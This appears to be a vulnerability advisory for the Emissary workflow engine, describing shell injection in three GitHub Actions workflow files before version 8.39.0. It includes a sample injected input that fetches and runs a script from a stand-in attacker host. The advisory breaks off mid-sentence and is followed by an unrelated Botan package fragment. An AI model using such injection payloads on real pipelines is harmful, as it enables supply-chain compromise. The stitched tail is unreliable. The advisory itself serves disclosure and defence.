Emissary is a P2P based data-driven workflow engine. Prior to 8.39.0, GitHub Actions workflow files contained shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. This vulnerability is fixed in 8.39.0.

Affected: Maven: gov.nsa.emissary:emissary

## Summary

Three GitHub Actions workflow files contained **10 shell injection points** where user-controlled `workflow_dispatch` inputs were interpolated directly into shell commands via `${{ }}` expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users.

## Affected Files

| Workflow file | Injection points | |------------------------------------------|------------------| | `.github/workflows/maven-version.yml` | 4 | | `.github/workflows/cherrypick.yml` | 5 | | `.github/workflows/maven-release.yml` | 1 |

## Details

GitHub Actions `${{ }}` expressions inside `run:` blocks are substituted **before** the shell interprets the command. When a `workflow_dispatch` input is placed directly in a `run:` block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code.

### Example — `maven-version.yml` (before fix)

```yaml - name: Set the name of the branch run: echo "PR_BRANCH=action/${{ github.event.inputs.next_version }}" >> "$GITHUB_ENV" ```

A malicious input such as `1.0.0"; curl attacker.com/backdoor.sh | bash; echo "` would be interpolated directly into the shell, executing arbitrary commands with the job's `GITHUB_TOKEN` permissions (`contents: write`, `pull-requests: write`).

### Impact

- Arbitrary code exe…

Botan-3.11.1-1.1 on GA media

Affected: Ubuntu:25.10: botan3

[Unknown description]